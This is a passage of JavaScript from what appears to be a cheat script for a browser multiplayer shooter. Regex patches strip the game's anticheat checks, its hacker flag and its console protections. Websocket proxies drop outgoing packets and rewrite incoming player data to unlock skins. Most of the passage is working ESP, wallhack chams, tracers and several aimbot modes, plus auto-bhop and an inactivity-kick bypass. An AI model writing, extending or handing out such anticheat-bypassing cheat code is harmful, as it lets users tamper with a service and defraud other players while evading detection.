extra) { temp += '<option value="' + option + '" ' + (option == this.settings[name].val ? 'selected' : '') + '>' + extra[option] + '</option>'; } temp += '</select>'; return temp; } default: return `<input type="${type}" name="${type}" id="slid_utilities_${name}"\n${'color' == type ? 'style="float:right;margin-top:5px"' : `class="inputGrey2" placeholder="${extra}"`}\nvalue="${this.settings[name].val}" oninput="${skidStr}.setSetting(\x27${name}\x27, this.value)"/>`; } } resetSettings() { if (confirm("Are you sure you want to reset all your settings? This will also refresh the page")) { Object.keys(localStorage).filter(x => x.includes("kro_utilities_")).forEach(x => localStorage.removeItem(x)); location.reload(); } } setSetting(t, e) { this.settings[t].val = e; this.saveVal(t, e); if (document.getElementById(`slid_utilities_${t}`)) document.getElementById(`slid_utilities_${t}`).innerHTML = e; if (this.settings[t].set) this.settings[t].set(e); } createObserver(elm, check, callback, onshow = true) { return new MutationObserver((mutationsList, observer) => { if (check == 'src' || onshow && mutationsList[0].target.style.display == 'block' || !onshow) { callback(mutationsList[0].target); } }).observe(elm, check == 'childList' ? {childList: true} : {attributes: true, attributeFilter: [check]}); } createListener(elm, type, callback = null) { if (!this.isDefined(elm)) { alert("Failed creating " + type + "listener"); return } elm.addEventListener(type, event => callback(event)); } createElement(element, attribute, inner) { if (!this.isDefined(element)) { return null; } if (!this.isDefined(inner)) { inner = ""; } let el = document.createElement(element); if (this.isType(attribute, 'object')) { for (let key in attribute) { el.setAttribute(key, attribute[key]); } } if (!Array.isArray(inner)) { inner = [inner]; } for (let i = 0; i < inner.length; i++) { if (inner[i].tagName) { el.appendChild(inner[i]); } else { el.appendChild(document.createTextNode(inner[i])); } } return el; } createButton(name, iconURL, fn, visible) { visible = visible ? "inherit":"none"; let menu = document.querySelector("#menuItemContainer"); let icon = this.createElement("div",{"class":"menuItemIcon", "style":`background-image:url("${iconURL}");display:inherit;`}); let title= this.createElement("div",{"class":"menuItemTitle", "style":`display:inherit;`}, name); let host = this.createElement("div",{"id":"mainButton", "class":"menuItem", "onmouseenter":"playTick()", "onclick":"showWindow(12)", "style":`display:${visible};`},[icon, title]); if (menu) menu.append(host) } objectHas(obj, arr) { return arr.some(prop => obj.hasOwnProperty(prop)); } getVersion() { const elems = document.getElementsByClassName('terms'); const version = elems[elems.length - 1].innerText; return version; } saveAs(name, data) { let blob = new Blob([data], {type: 'text/plain'}); let el = window.document.createElement("a"); el.href = window.URL.createObjectURL(blob); el.download = name; window.document.body.appendChild(el); el.click(); window.document.body.removeChild(el); } saveScript() { this.fetchScript().then(script => { this.saveAs("game_" + this.getVersion() + ".js", script) }) } isKeyDown(key) { return this.downKeys.has(key); } simulateKey(keyCode) { var oEvent = document.createEvent('KeyboardEvent'); // Chromium Hack Object.defineProperty(oEvent, 'keyCode', { get : function() { return this.keyCodeVal; } }); Object.defineProperty(oEvent, 'which', { get : function() { return this.keyCodeVal; } }); if (oEvent.initKeyboardEvent) { oEvent.initKeyboardEvent("keypress", true, true, document.defaultView, keyCode, keyCode, "", "", false, ""); } else { oEvent.initKeyEvent("keypress", true, true, document.defaultView, false, false, false, false, keyCode, 0); } oEvent.keyCodeVal = keyCode; if (oEvent.keyCode !== keyCode) { alert("keyCode mismatch " + oEvent.keyCode + "(" + oEvent.which + ")"); } document.body.dispatchEvent(oEvent); } toggleMenu() { let lock = document.pointerLockElement || document.mozPointerLockElement; if (lock) document.exitPointerLock(); window.showWindow(12); if (this.isDefined(window.SOUND)) window.SOUND.play(`tick_0`,0.1) } onLoad() { this.createSettings(); this.createObservers(); this.waitFor(_=>this.isDefined(this.exports)).then(_=> { if (!this.isDefined(this.exports)) { alert("This Mod Needs To Be Updated Please Try Agian Later"); return; } //console.dir(this.exports); let toFind = { overlay: ["render", "canvas"], config: ["accAnnounce", "availableRegions", "assetCat"], three: ["ACESFilmicToneMapping", "TextureLoader", "ObjectLoader"], ws: ["socketReady", "ingressPacketCount", "ingressPacketCount", "egressDataSize"], utility: ["VectorAdd", "VectorAngleSign"], //colors: ["challLvl", "getChallCol"], //ui: ["showEndScreen", "toggleControlUI", "toggleEndScreen", "updatePlayInstructions"], //events: ["actions", "events"], } for (let rootKey in this.exports) { let exp = this.exports[rootKey].exports; for (let name in toFind) { if (this.objectHas(exp, toFind[name])) { console.log("Found Export ", name); delete toFind[name]; this[name] = exp; } } } if (!(Object.keys(toFind).length === 0 && toFind.constructor === Object)) { for (let name in toFind) { alert("Failed To Find Export " + name); } } else { Object.defineProperty(this.config, "nameVisRate", { value: 0, writable: false, configurable: true, }) this.ctx = this.overlay.canvas.getContext('2d'); this.overlay.render = new Proxy(this.overlay.render, { apply: function(target, that, args) { return [target.apply(that, args), render.apply(that, args)] } }) function render(scale, game, controls, renderer, me) { let width = skid.overlay.canvas.width / scale; let height = skid.overlay.canvas.height / scale; const renderArgs = [scale, game, controls, renderer, me]; if (renderArgs && void 0 !== skid) { ["scale", "game", "controls", "renderer", "me"].forEach((item, index)=>{ skid[item] = renderArgs[index]; }); if (me) { skid.ctx.save(); skid.ctx.scale(scale, scale); //this.ctx.clearRect(0, 0, width, height); skid.onRender(); //window.requestAnimationFrame.call(window, renderArgs.callee.caller.bind(this)); skid.ctx.restore(); } if(skid.settings && skid.settings.autoClick.val && window.endUI.style.display == "none" && window.windowHolder.style.display == "none") { controls.toggle(true); } } } // Skins const $skins = Symbol("skins"); Object.defineProperty(Object.prototype, "skins", { set: function(fn) { this[$skins] = fn; if (void 0 == this.localSkins || !this.localSkins.length) { this.localSkins = Array.apply(null, Array(5e3)).map((x, i) => { return { ind: i, cnt: 0x1, } }) } return fn; }, get: function() { return skid.settings.skinUnlock.val && this.stats ? this.localSkins : this[$skins]; } }) this.waitFor(_=>this.ws.connected === true, 40000).then(_=> { this.ws.__event = this.ws._dispatchEvent.bind(this.ws); this.ws.__send = this.ws.send.bind(this.ws); this.ws.send = new Proxy(this.ws.send, { apply: function(target, that, args) { if (args[0] == "ah2") return; try { var original_fn = Function.prototype.apply.apply(target, [that, args]); } catch (e) { e.stack = e.stack = e.stack.replace(/\n.*Object\.apply.*/, ''); throw e; } if (args[0] === "en") { skid.skinCache = { main: args[1][2][0], secondary: args[1][2][1], hat: args[1][3], body: args[1][4], knife: args[1][9], dye: args[1][14], waist: args[1][17], } } return original_fn; } }) this.ws._dispatchEvent = new Proxy(this.ws._dispatchEvent, { apply: function(target, that, [type, event]) { if (type =="init") { if(event[10] && event[10].length && event[10].bill && skid.settings.customBillboard.val.length > 1) { event[10].bill.txt = skid.settings.customBillboard.val; } } if (skid.settings.skinUnlock.val && skid.skinCache && type === "0") { let skins = skid.skinCache; let pInfo = event[0]; let pSize = 38; while (pInfo.length % pSize !== 0) pSize++; for(let i = 0; i < pInfo.length; i += pSize) { if (pInfo[i] === skid.ws.socketId||0) { pInfo[i + 12] = [skins.main, skins.secondary]; pInfo[i + 13] = skins.hat; pInfo[i + 14] = skins.body; pInfo[i + 19] = skins.knife; pInfo[i + 24] = skins.dye; pInfo[i + 33] = skins.waist; } } } return target.apply(that, arguments[2]); } }) }) if (this.isDefined(window.SOUND)) { window.SOUND.play = new Proxy(window.SOUND.play, { apply: function(target, that, [src, vol, loop, rate]) { if ( src.startsWith("fart_") && skid.settings.disableHckSnd.val ) return; return target.apply(that, [src, vol, loop, rate]); } }) } AudioParam.prototype.setValueAtTime = new Proxy(AudioParam.prototype.setValueAtTime, { apply: function(target, that, [value, startTime]) { return target.apply(that, [value, 0]); } }) this.rayC = new this.three.Raycaster(); this.vec2 = new this.three.Vector2(0, 0); } }) } gameJS(script) { let entries = { // Deobfu inView: { regex: /(\w+\['(\w+)']\){if\(\(\w+=\w+\['\w+']\['position']\['clone']\(\))/, index: 2 }, spectating: { regex: /\['team']:window\['(\w+)']/, index: 1 }, //inView: { regex: /\]\)continue;if\(!\w+\['(.+?)\']\)continue;/, index: 1 }, //canSee: { regex: /\w+\['(\w+)']\(\w+,\w+\['x'],\w+\['y'],\w+\['z']\)\)&&/, index: 1 }, //procInputs: { regex: /this\['(\w+)']=function\((\w+),(\w+),\w+,\w+\){(this)\['recon']/, index: 1 }, aimVal: { regex: /this\['(\w+)']-=0x1\/\(this\['weapon']\['\w+']\/\w+\)/, index: 1 }, pchObjc: { regex: /0x0,this\['(\w+)']=new \w+\['Object3D']\(\),this/, index: 1 }, didShoot: { regex: /--,\w+\['(\w+)']=!0x0/, index: 1 }, nAuto: { regex: /'Single\\x20Fire','varN':'(\w+)'/, index: 1 }, crouchVal: { regex: /this\['(\w+)']\+=\w\['\w+']\*\w+,0x1<=this\['\w+']/, index: 1 }, recoilAnimY: { regex: /\+\(-Math\['PI']\/0x4\*\w+\+\w+\['(\w+)']\*\w+\['\w+']\)\+/, index: 1 }, //recoilAnimY: { regex: /this\['recoilAnim']=0x0,this\[(.*?\(''\))]/, index: 1 }, ammos: { regex: /\['length'];for\(\w+=0x0;\w+<\w+\['(\w+)']\['length']/, index: 1 }, weaponIndex: { regex: /\['weaponConfig']\[\w+]\['secondary']&&\(\w+\['(\w+)']==\w+/, index: 1 }, isYou: { regex: /0x0,this\['(\w+)']=\w+,this\['\w+']=!0x0,this\['inputs']/, index: 1 }, objInstances: { regex: /\w+\['\w+']\(0x0,0x0,0x0\);if\(\w+\['(\w+)']=\w+\['\w+']/, index: 1 }, getWorldPosition: { regex: /{\w+=\w+\['camera']\['(\w+)']\(\);/, index: 1 }, //mouseDownL: { regex: /this\['\w+'\]=function\(\){this\['(\w+)'\]=\w*0,this\['(\w+)'\]=\w*0,this\['\w+'\]={}/, index: 1 }, mouseDownR: { regex: /this\['(\w+)']=0x0,this\['keys']=/, index: 1 }, //reloadTimer: { regex: /this\['(\w+)']&&\(\w+\['\w+']\(this\),\w+\['\w+']\(this\)/, index: 1 }, maxHealth: { regex: /this\['health']\/this\['(\w+)']\?/, index: 1 }, xDire: { regex: /this\['(\w+)']=Math\['lerpAngle']\(this\['xDir2']/, index: 1 }, yDire: { regex: /this\['(\w+)']=Math\['lerpAngle']\(this\['yDir2']/, index: 1 }, //xVel: { regex: /this\['x']\+=this\['(\w+)']\*\w+\['map']\['config']\['speedX']/, index: 1 }, yVel: { regex: /this\['y']\+=this\['(\w+)']\*\w+\['map']\['config']\['speedY']/, index: 1 }, //zVel: { regex: /this\['z']\+=this\['(\w+)']\*\w+\['map']\['config']\['speedZ']/, index: 1 }, // Patches exports: {regex: /(this\['\w+']\['\w+']\(this\);};},function\(\w+,\w+,(\w+)\){)/, patch: `$1 ${skidStr}.exports=$2.c; ${skidStr}.modules=$2.m;`}, inputs: {regex: /(\w+\['\w+']\[\w+\['\w+']\['\w+']\?'\w+':'push']\()(\w+)\),/, patch: `$1${skidStr}.onInput($2)),`}, inView: {regex: /&&(\w+\['\w+'])\){(if\(\(\w+=\w+\['\w+']\['\w+']\['\w+'])/, patch: `){if(!$1&&void 0 !== ${skidStr}.nameTags)continue;$2`}, thirdPerson:{regex: /(\w+)\[\'config\'\]\[\'thirdPerson\'\]/g, patch: `void 0 !== ${skidStr}.thirdPerson`}, isHacker:{regex: /(window\['\w+']=)!0x0\)/, patch: `$1!0x1)`}, fixHowler:{regex: /(Howler\['orientation'](.+?)\)\),)/, patch: ``}, respawnT:{regex: /'\w+':0x3e8\*/g, patch: `'respawnT':0x0*`}, anticheat1:{regex: /&&\w+\(\),window\['utilities']&&\(\w+\(null,null,null,!0x0\),\w+\(\)\)/, patch: ""}, anticheat2:{regex: /(\[]instanceof Array;).*?(var)/, patch: "$1 $2"}, anticheat3:{regex: /windows\['length'\]>\d+.*?0x25/, patch: `0x25`}, commandline:{regex: /Object\['defineProperty']\(console.*?\),/, patch: ""}, writeable:{regex: /'writeable':!0x1/g, patch: "writeable:true"}, configurable:{regex: /'configurable':!0x1/g, patch: "configurable:true"}, typeError:{regex: /throw new TypeError/g, patch: "console.error"}, error:{regex: /throw new Error/g, patch: "console.error"}, }; for(let name in entries) { let object = entries[name]; let found = object.regex.exec(script); if (object.hasOwnProperty('index')) { if (!found) { object.val = null; alert("Failed to Find " + name); } else { object.val = found[object.index]; console.log ("Found ", name, ":", object.val); } Object.defineProperty(skid.vars, name, { configurable: false, value: object.val }); } else if (found) { script = script.replace(object.regex, object.patch); console.log ("Patched ", name); } else alert("Failed to Patch " + name); } return script; } createObservers() { this.createObserver(window.instructionsUpdate, 'style', (target) => { if (this.settings.autoFindNew.val) { console.log(target) if (['Kicked', 'Banned', 'Disconnected', 'Error', 'Game is full'].some(text => target && target.innerHTML.includes(text))) { location = document.location.origin; } } }); this.createListener(document, "keyup", event => { if (this.downKeys.has(event.code)) this.downKeys.delete(event.code) }) this.createListener(document, "keydown", event => { if (event.code == "F1") { event.preventDefault(); this.toggleMenu(); } if ('INPUT' == document.activeElement.tagName || !window.endUI && window.endUI.style.display) return; switch (event.code) { case 'NumpadSubtract': document.exitPointerLock(); //console.log(document.exitPointerLock) console.dirxml(this) break; default: if (!this.downKeys.has(event.code)) this.downKeys.add(event.code); break; } }) this.createListener(document, "mouseup", event => { switch (event.button) { case 1: event.preventDefault(); this.toggleMenu(); break; default: break; } }) } onRender() { /* hrt / ttap - https://github.com/hrt */ this.renderFrame ++; if (this.renderFrame >= 100000) this.renderFrame = 0; let scaledWidth = this.ctx.canvas.width / this.scale; let scaledHeight = this.ctx.canvas.height / this.scale; let playerScale = (2 * this.consts.armScale + this.consts.chestWidth + this.consts.armInset) / 2 let worldPosition = this.renderer.camera[this.vars.getWorldPosition](); let espVal = this.settings.renderESP.val; if (espVal ==="walls"||espVal ==="twoD") this.nameTags = undefined; else this.nameTags = true; if (this.settings.autoActivateNuke.val && this.me && Object.keys(this.me.streaks).length) { /*chonker*/ this.ws.__send("k", 0); } if (espVal !== "off") { this.overlay.healthColE = this.settings.rainbowColor.val ? this.overlay.rainbow.col : "#eb5656"; } for (let iter = 0, length = this.game.players.list.length; iter < length; iter++) { let player = this.game.players.list[iter]; if (player[this.vars.isYou] || !player.active || !this.isDefined(player[this.vars.objInstances]) || this.getIsFriendly(player)) { continue; } // the below variables correspond to the 2d box esps corners let xmin = Infinity; let xmax = -Infinity; let ymin = Infinity; let ymax = -Infinity; let position = null; let br = false; for (let j = -1; !br && j < 2; j+=2) { for (let k = -1; !br && k < 2; k+=2) { for (let l = 0; !br && l < 2; l++) { if (position = player[this.vars.objInstances].position.clone()) { position.x += j * playerScale; position.z += k * playerScale; position.y += l * (player.height - player[this.vars.crouchVal] * this.consts.crouchDst); if (!this.containsPoint(position)) { br = true; break; } position.project(this.renderer.camera); xmin = Math.min(xmin, position.x); xmax = Math.max(xmax, position.x); ymin = Math.min(ymin, position.y); ymax = Math.max(ymax, position.y); } } } } if (br) { continue; } xmin = (xmin + 1) / 2; ymin = (ymin + 1) / 2; xmax = (xmax + 1) / 2; ymax = (ymax + 1) / 2; // save and restore these variables later so they got nothing on us const original_strokeStyle = this.ctx.strokeStyle; const original_lineWidth = this.ctx.lineWidth; const original_font = this.ctx.font; const original_fillStyle = this.ctx.fillStyle; //Tracers if (this.settings.renderTracers.val) { CRC2d.save.apply(this.ctx, []); let screenPos = this.world2Screen(player[this.vars.objInstances].position); this.ctx.lineWidth = 4.5; this.ctx.beginPath(); this.ctx.moveTo(this.ctx.canvas.width/2, this.ctx.canvas.height - (this.ctx.canvas.height - scaledHeight)); this.ctx.lineTo(screenPos.x, screenPos.y); this.ctx.strokeStyle = "rgba(0, 0, 0, 0.25)"; this.ctx.stroke(); this.ctx.lineWidth = 2.5; this.ctx.strokeStyle = this.settings.rainbowColor.val ? this.overlay.rainbow.col : "#eb5656" this.ctx.stroke(); CRC2d.restore.apply(this.ctx, []); } CRC2d.save.apply(this.ctx, []); if (espVal == "twoD" || espVal == "full") { // perfect box esp this.ctx.lineWidth = 5; this.ctx.strokeStyle = this.settings.rainbowColor.val ? this.overlay.rainbow.col : "#eb5656" let distanceScale = Math.max(.3, 1 - this.getD3D(worldPosition.x, worldPosition.y, worldPosition.z, player.x, player.y, player.z) / 600); CRC2d.scale.apply(this.ctx, [distanceScale, distanceScale]); let xScale = scaledWidth / distanceScale; let yScale = scaledHeight / distanceScale; CRC2d.beginPath.apply(this.ctx, []); ymin = yScale * (1 - ymin); ymax = yScale * (1 - ymax); xmin = xScale * xmin; xmax = xScale * xmax; CRC2d.moveTo.apply(this.ctx, [xmin, ymin]); CRC2d.lineTo.apply(this.ctx, [xmin, ymax]); CRC2d.lineTo.apply(this.ctx, [xmax, ymax]); CRC2d.lineTo.apply(this.ctx, [xmax, ymin]); CRC2d.lineTo.apply(this.ctx, [xmin, ymin]); CRC2d.stroke.apply(this.ctx, []); if (espVal == "full") { // health bar this.ctx.fillStyle = "#000000"; let barMaxHeight = ymax - ymin; CRC2d.fillRect.apply(this.ctx, [xmin - 7, ymin, -10, barMaxHeight]); this.ctx.fillStyle = player.health > 75 ? "green" : player.health > 40 ? "orange" : "red"; CRC2d.fillRect.apply(this.ctx, [xmin - 7, ymin, -10, barMaxHeight * (player.health / player[this.vars.maxHealth])]); // info this.ctx.font = "48px Sans-serif"; this.ctx.fillStyle = "white"; this.ctx.strokeStyle='black'; this.ctx.lineWidth = 1; let x = xmax + 7; let y = ymax; CRC2d.fillText.apply(this.ctx, [player.name||player.alias, x, y]); CRC2d.strokeText.apply(this.ctx, [player.name||player.alias, x, y]); this.ctx.font = "30px Sans-serif"; y += 35; CRC2d.fillText.apply(this.ctx, [player.weapon.name, x, y]); CRC2d.strokeText.apply(this.ctx, [player.weapon.name, x, y]); y += 35; CRC2d.fillText.apply(this.ctx, [player.health + ' HP', x, y]); CRC2d.strokeText.apply(this.ctx, [player.health + ' HP', x, y]); } } CRC2d.restore.apply(this.ctx, []); this.ctx.strokeStyle = original_strokeStyle; this.ctx.lineWidth = original_lineWidth; this.ctx.font = original_font; this.ctx.fillStyle = original_fillStyle; // skelly chams if (this.isDefined(player[this.vars.objInstances])) { let obj = player[this.vars.objInstances]; if (!obj.visible) { Object.defineProperty(player[this.vars.objInstances], 'visible', { value: true, writable: false }); } obj.traverse((child) => { let chamColor = this.settings.renderChams.val; let chamsEnabled = chamColor !== "off"; if (child && child.type == "Mesh" && child.material) { child.material.depthTest = chamsEnabled ? false : true; //if (this.isDefined(child.material.fog)) child.material.fog = chamsEnabled ? false : true; if (child.material.emissive) { child.material.emissive.r = chamColor == 'off' || chamColor == 'teal' || chamColor == 'green' || chamColor == 'blue' ? 0 : 0.55; child.material.emissive.g = chamColor == 'off' || chamColor == 'purple' || chamColor == 'blue' || chamColor == 'red' ? 0 : 0.55; child.material.emissive.b = chamColor == 'off' || chamColor == 'yellow' || chamColor == 'green' || chamColor == 'red' ? 0 : 0.55; } child.material.wireframe = this.settings.renderWireFrame.val ? true : false } }) } } } spinTick(input) { //this.game.players.getSpin(this.self); //this.game.players.saveSpin(this.self, angle); const angle = this.getAngleDst(input[2], this.me[this.vars.xDire]); this.spins = this.getStatic(this.spins, new Array()); this.spinTimer = this.getStatic(this.spinTimer, this.config.spinTimer); this.serverTickRate = this.getStatic(this.serverTickRate, this.config.serverTickRate); (this.spins.unshift(angle), this.spins.length > this.spinTimer / this.serverTickRate && (this.spins.length = Math.round(this.spinTimer / this.serverTickRate))) for (var e = 0, i = 0; i < this.spins.length; ++i) e += this.spins[i]; return Math.abs(e * (180 / Math.PI)); } raidBot(input) { let target = this.game.AI.ais.filter(enemy => { return undefined !== enemy.mesh && enemy.mesh && enemy.mesh.children[0] && enemy.canBSeen && enemy.health > 0 }).sort((p1, p2) => this.getD3D(this.me.x, this.me.z, p1.x, p1.z) - this.getD3D(this.me.x, this.me.z, p2.x, p2.z)).shift(); if (target) { let canSee = this.containsPoint(target.mesh.position) let yDire = (this.getDir(this.me.z, this.me.x, target.z, target.x) || 0) let xDire = ((this.getXDire(this.me.x, this.me.y, this.me.z, target.x, target.y + target.mesh.children[0].scale.y * 0.85, target.z) || 0) - this.consts.recoilMlt * this.me[this.vars.recoilAnimY]) if (this.me.weapon[this.vars.nAuto] && this.me[this.vars.didShoot]) { input[this.key.shoot] = 0; input[this.key.scope] = 0; this.me.inspecting = false; this.me.inspectX = 0; } else { if (!this.me.aimDir && canSee) { input[this.key.scope] = 1; if (!this.me[this.vars.aimVal]||this.me.weapon.noAim) { input[this.key.shoot] = 1; input[this.key.ydir] = yDire * 1e3 input[this.key.xdir] = xDire * 1e3 this.lookDir(xDire, yDire); } } } } else { this.resetLookAt(); } return input; } onInput(input) { if (this.isDefined(this.config) && this.config.aimAnimMlt) this.config.aimAnimMlt = 1; if (this.isDefined(this.controls) && this.isDefined(this.config) && this.settings.inActivity.val) { this.controls.idleTimer = 0; this.config.kickTimer = Infinity } if (this.me) { this.inputFrame ++; if (this.inputFrame >= 100000) this.inputFrame = 0; if (!this.game.playerSound[this.isProxy]) { this.game.playerSound = new Proxy(this.game.playerSound, { apply: function(target, that, args) { if (skid.settings.disableWpnSnd.val && args[0] && typeof args[0] == "string" && args[0].startsWith("weapon_")) return; return target.apply(that, args); }, get: function(target, key) { return key === skid.isProxy ? true : Reflect.get(target, key); }, }) } let isMelee = this.isDefined(this.me.weapon.melee)&&this.me.weapon.melee||this.isDefined(this.me.weapon.canThrow)&&this.me.weapon.canThrow; let ammoLeft = this.me[this.vars.ammos][this.me[this.vars.weaponIndex]]; // autoReload if (this.settings.autoReload.val) { //let capacity = this.me.weapon.ammo; //if (ammoLeft < capacity) if (isMelee) { if (!this.me.canThrow) { //this.me.refillKnife(); } } else if (!ammoLeft) { this.game.players.reload(this.me); input[this.key.reload] = 1; // this.me[this.vars.reloadTimer] = 1; //this.me.resetAmmo(); } } //Auto Bhop let autoBhop = this.settings.autoBhop.val; if (autoBhop !== "off") { if (this.isKeyDown("Space") || autoBhop == "autoJump" || autoBhop == "autoSlide") { this.controls.keys[this.controls.binds.jumpKey.val] ^= 1; if (this.controls.keys[this.controls.binds.jumpKey.val]) { this.controls.didPressed[this.controls.binds.jumpKey.val] = 1; } if (this.isKeyDown("Space") || autoBhop == "autoSlide") { if (this.me[this.vars.yVel] < -0.03 && this.me.canSlide) { setTimeout(() => { this.controls.keys[this.controls.binds.crouchKey.val] = 0; }, this.me.slideTimer||325); this.controls.keys[this.controls.binds.crouchKey.val] = 1; this.controls.didPressed[this.controls.binds.crouchKey.val] = 1; } } } } //Autoaim if (this.settings.autoAim.val !== "off") { this.playerMaps.length = 0; this.rayC.setFromCamera(this.vec2, this.renderer.fpsCamera); let target = this.game.players.list.filter(enemy => { let hostile = undefined !== enemy[this.vars.objInstances] && enemy[this.vars.objInstances] && !enemy[this.vars.isYou] && !this.getIsFriendly(enemy) && enemy.health > 0 && this.getInView(enemy); if (hostile) this.playerMaps.push( enemy[this.vars.objInstances] ); return hostile }).sort((p1, p2) => this.getD3D(this.me.x, this.me.z, p1.x, p1.z) - this.getD3D(this.me.x, this.me.z, p2.x, p2.z)).shift(); if (target) { //let count = this.spinTick(input); //if (count < 360) { // input[2] = this.me[this.vars.xDire] + Math.PI; //} else console.log("spins ", count); //target.jumpBobY * this.config.jumpVel let canSee = this.containsPoint(target[this.vars.objInstances].position); let inCast = this.rayC.intersectObjects(this.playerMaps, true).length; let yDire = (this.getDir(this.me.z, this.me.x, target.z, target.x) || 0); let xDire = ((this.getXDire(this.me.x, this.me.y, this.me.z, target.x, target.y - target[this.vars.crouchVal] * this.consts.crouchDst + this.me[this.vars.crouchVal] * this.consts.crouchDst, target.z) || 0) - this.consts.recoilMlt * this.me[this.vars.recoilAnimY]) if (this.me.weapon[this.vars.nAuto] && this.me[this.vars.didShoot]) { input[this.key.shoot] = 0; input[this.key.scope] = 0; this.me.inspecting = false; this.me.inspectX = 0; } else if (!canSee && this.settings.frustrumCheck.val) this.resetLookAt(); else if (ammoLeft||isMelee) { input[this.key.scope] = this.settings.autoAim.val === "assist"||this.settings.autoAim.val === "correction"||this.settings.autoAim.val === "trigger" ? this.controls[this.vars.mouseDownR] : 0; switch (this.settings.autoAim.val) { case "quickScope": input[this.key.scope] = 1; if (!this.me[this.vars.aimVal]||this.me.weapon.noAim) { if (!this.me.canThrow||!isMelee) input[this.key.shoot] = 1; input[this.key.ydir] = yDire * 1e3 input[this.key.xdir] = xDire * 1e3 this.lookDir(xDire, yDire); } break; case "assist": case "easyassist": if (input[this.key.scope] || this.settings.autoAim.val === "easyassist") { if (!this.me.aimDir && canSee || this.settings.autoAim.val === "easyassist") { input[this.key.ydir] = yDire * 1e3 input[this.key.xdir] = xDire * 1e3 this.lookDir(xDire, yDire); } } break; case "silent": if (!this.me[this.vars.aimVal]||this.me.weapon.noAim) { if (!this.me.canThrow||!isMelee) input[this.key.shoot] = 1; } else input[this.key.scope] = 1; input[this.key.ydir] = yDire * 1e3 input[this.key.xdir] = xDire * 1e3 break; case "trigger": if (input[this.key.scope] && canSee && inCast) { input[this.key.shoot] = 1; input[this.key.ydir] = yDire * 1e3 input[this.key.xdir] = xDire * 1e3 } break; case "correction": if (input[this.key.shoot] == 1) { input[this.key.ydir] = yDire * 1e3 input[this.key.xdir] = xDire * 1e3 } break; default: this.resetLookAt(); break; } } } else { this.resetLookAt(); //input = this.raidBot(input); } } } //else if (this.settings.autoClick.val && !this.ui.hasEndScreen) { //this.config.deathDelay = 0; //this.controls.toggle(true); //} //this.game.config.deltaMlt = 1 return input; } getD3D(x1, y1, z1, x2, y2, z2) { let dx = x1 - x2; let dy = y1 - y2; let dz = z1 - z2; return Math.sqrt(dx * dx + dy * dy + dz * dz); } getAngleDst(a, b) { return Math.atan2(Math.sin(b - a), Math.cos(a - b)); } getXDire(x1, y1, z1, x2, y2, z2) { let h = Math.abs(y1 - y2); let dst = this.getD3D(x1, y1, z1, x2, y2, z2); return (Math.asin(h / dst) * ((y1 > y2)?-1:1)); } getDir(x1, y1, x2, y2) { return Math.atan2(y1 - y2, x1 - x2); } getDistance(x1, y1, x2, y2) { return Math.sqrt((x2 -= x1) * x2 + (y2 -= y1) * y2); } containsPoint(point) { let planes = this.renderer.frustum.planes; for (let i = 0; i < 6; i ++) { if (planes[i].distanceToPoint(point) < 0) { return false; } } return true; } getCanSee(from, toX, toY, toZ, boxSize) { if (!from) return 0; boxSize = boxSize||0; for (let obj, dist = this.getD3D(from.x, from.y, from.z, toX, toY, toZ), xDr = this.getDir(from.z, from.x, toZ, toX), yDr = this.getDir(this.getDistance(from.x, from.z, toX, toZ), toY, 0, from.y), dx = 1 / (dist * Math.sin(xDr - Math.PI) * Math.cos(yDr)), dz = 1 / (dist * Math.cos(xDr - Math.PI) * Math.cos(yDr)), dy = 1 / (dist * Math.sin(yDr)), yOffset = from.y + (from.height || 0) - this.consts.cameraHeight, aa = 0; aa < this.game.map.manager.objects.length; ++aa) { if (!(obj = this.game.map.manager.objects[aa]).noShoot && obj.active && !obj.transparent && (!this.settings.wallPenetrate.val || (!obj.penetrable || !this.me.weapon.pierce))) { let tmpDst = this.lineInRect(from.x, from.z, yOffset, dx, dz, dy, obj.x - Math.max(0, obj.width - boxSize), obj.z - Math.max(0, obj.length - boxSize), obj.y - Math.max(0, obj.height - boxSize), obj.x + Math.max(0, obj.width - boxSize), obj.z + Math.max(0, obj.length - boxSize), obj.y + Math.max(0, obj.height - boxSize)); if (tmpDst && 1 > tmpDst) return tmpDst; } } /* let terrain = this.game.map.terrain; if (terrain) { let terrainRaycast = terrain.raycast(from.x, -from.z, yOffset, 1 / dx, -1 / dz, 1 / dy); if (terrainRaycast) return utl.getD3D(from.x, from.y, from.z, terrainRaycast.x, terrainRaycast.z, -terrainRaycast.y); } */ return null; } lineInRect(lx1, lz1, ly1, dx, dz, dy, x1, z1, y1, x2, z2, y2) { let t1 = (x1 - lx1) * dx; let t2 = (x2 - lx1) * dx; let t3 = (y1 - ly1) * dy; let t4 = (y2 - ly1) * dy; let t5 = (z1 - lz1) * dz; let t6 = (z2 - lz1) * dz; let tmin = Math.max(Math.max(Math.min(t1, t2), Math.min(t3, t4)), Math.min(t5, t6)); let tmax = Math.min(Math.min(Math.max(t1, t2), Math.max(t3, t4)), Math.max(t5, t6)); if (tmax < 0) return false; if (tmin > tmax) return false; return tmin; } lookDir(xDire, yDire) { this.controls.object.rotation.y = yDire this.controls[this.vars.pchObjc].rotation.x = xDire; this.controls[this.vars.pchObjc].rotation.x = Math.max(-this.consts.halfPI, Math.min(this.consts.halfPI, this.controls[this.vars.pchObjc].rotation.x)); this.controls.yDr = (this.controls[this.vars.pchObjc].rotation.x % Math.PI).round(3); this.controls.xDr = (this.controls.object.rotation.y % Math.PI).round(3); this.renderer.camera.updateProjectionMatrix(); this.renderer.updateFrustum(); } resetLookAt() { this.controls.yDr = this.controls[this.vars.pchObjc].rotation.x; this.controls.xDr = this.controls.object.rotation.y; this.renderer.camera.updateProjectionMatrix(); this.renderer.updateFrustum(); } world2Screen (position) { let pos = position.clone(); let scaledWidth = this.ctx.canvas.width / this.scale; let scaledHeight = this.ctx.canvas.height / this.scale; pos.project(this.renderer.camera); pos.x = (pos.x + 1) / 2; pos.y = (-pos.y + 1) / 2; pos.x *= scaledWidth; pos.y *= scaledHeight; return pos; } getInView(entity) { return null == this.getCanSee(this.me, entity.x, entity.y, entity.z); } getIsFriendly(entity) { return (this.me && this.me.team ? this.me.team : this.me.spectating ? 0x1 : 0x0) == entity.team } } function loadWASM() { window.Function = new Proxy(window.Function, { construct(target, args) { const original = new target(...args); if (args.length) { let body = args[args.length - 1]; if (body.length > 38e5) { // game.js at game loader Easy Method //console.log(body) } else if (args[0] == "requireRegisteredType") { return (function(...fnArgs){ // Expose WASM functions if (!window.hasOwnProperty("WASM")) { window.Object.assign(window, { WASM: { requireRegisteredType:fnArgs[0], __emval_register:[2], } }); for(let name in fnArgs[1]) { window.WASM[name] = fnArgs[1][name]; switch (name) { case "__Z01dynCall_fijfiv": 